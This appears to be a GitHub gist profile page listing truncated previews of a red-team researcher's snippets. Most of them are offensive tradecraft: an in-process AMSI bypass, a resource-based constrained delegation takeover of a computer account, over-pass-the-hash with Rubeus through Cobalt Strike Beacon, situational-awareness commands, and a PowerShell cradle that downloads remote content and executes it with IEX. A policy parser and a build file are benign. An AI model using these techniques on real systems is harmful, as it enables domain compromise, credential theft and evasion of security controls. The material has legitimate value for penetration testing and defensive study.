Skip to content

Instantly share code, notes, and snippets.

View HarmJ0y's full-sized avatar
Coding towards chaotic good while living on the decision boundary

Will HarmJ0y

Coding towards chaotic good while living on the decision boundary
View GitHub Profile
HarmJ0y / CIPolicyParser.ps1
Created July 12, 2022 21:36 — forked from mattifestation/CIPolicyParser.ps1
Functions to recover information from binary Windows Defender Application Control (WDAC) Code Integrity policies.
# Ensure System.Security assembly is loaded.
Add-Type -AssemblyName System.Security
function ConvertTo-CIPolicy {
Converts a binary file that contains a Code Integrity policy into XML format.
Author: Matthew Graeber (@mattifestation)
HarmJ0y / patchless_amsi.h
Created May 13, 2022 19:14 — forked from CCob/patchless_amsi.h
In-Process Patchless AMSI Bypass
#include <windows.h>
static const int AMSI_RESULT_CLEAN = 0;
PVOID g_amsiScanBufferPtr = nullptr;
unsigned long long setBits(unsigned long long dw, int lowBit, int bits, unsigned long long newValue) {
HarmJ0y / dc_cert_template.ps1
Created September 13, 2021 21:43
DC Certificate Template Enumeration
$Results = ([adsisearcher]"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))").FindAll() | % {
$Entry = $_.GetDirectoryEntry()
$SAM = $Entry.samAccountName[0]
$DN = $Entry.distinguishedName[0]
try {
$Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($Entry.userCertificate)
$Exp = $Cert.GetExpirationDateString()
HarmJ0y / Jenkinsfile
Created November 2, 2020 23:15
Rubeus Jenkinsfile
@Library('ci-jenkins-common') _
// Jenkins build pipeline (declarative)
// Project: Seatbelt
// URL:
// Author: @tifkin_/@harmj0y
// Pipeline Author: harmj0y
def gitURL = ""
HarmJ0y / rbcd_demo.ps1
Last active May 14, 2024 15:30
Resource-based constrained delegation computer DACL takeover demo
# import the necessary toolsets
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1
# we are TESTLAB\attacker, who has GenericWrite rights over the primary$ computer account
# the target computer object we're taking over
$TargetComputer = "primary.testlab.local"
HarmJ0y / gist:dc379107cfb4aa7ef5c3ecbac0133a02
Last active May 19, 2024 13:24
Over-pass-the-hash with Rubeus and Beacon
# grab a TGT b64 blob with a valid NTLM/rc4 (or /aes256:X)
beacon> execute-assembly /home/specter/Rubeus.exe asktgt /user:USER /rc4:NTLM_HASH
# decode the base64 blob to a binary .kirbi
$ base64 -d ticket.b64 > ticket.kirbi
# sacrificial logon session (to prevent the TGT from overwriting your current logon session's TGT)
beacon> make_token DOMAIN\USER PassWordDoesntMatter
HarmJ0y / cobaltstrike_sa.txt
Created September 28, 2018 22:22
Cobalt Strike Situational Awareness Commands
Windows version:
reg query x64 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
Users who have authed to the system:
ls C:\Users\
System env variables:
reg query x64 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
Saved outbound RDP connections:
HarmJ0y / New-SYSVOLZip.ps1
Created August 8, 2017 01:03
Compresses all of SYSVOL to a local .zip file.
function New-SYSVOLZip {
Compresses all folders/files in SYSVOL to a .zip file.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
HarmJ0y / DPAPI.ps1
Created July 31, 2017 21:16
Add-Type -AssemblyName System.Security
$Content = (New-Object Net.Webclient).DownloadString('')
$Bytes = ([Text.Encoding]::ASCII).GetBytes($Content)
$EncryptedBytes = [Security.Cryptography.ProtectedData]::Protect($Bytes, $Null, [Security.Cryptography.DataProtectionScope]::LocalMachine)
IEX (([Text.Encoding]::ASCII).GetString([Security.Cryptography.ProtectedData]::Unprotect($EncryptedBytes, $Null, [Security.Cryptography.DataProtectionScope]::LocalMachine)))
HarmJ0y / PowerView-3.0-tricks.ps1
Last active May 28, 2024 00:29
PowerView-3.0 tips and tricks
# PowerView's last major overhaul is detailed here:
# tricks for the 'old' PowerView are at
# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
# New function naming schema:
# Verbs:
# Get : retrieve full raw data sets
# Find : ‘find’ specific data entries in a data set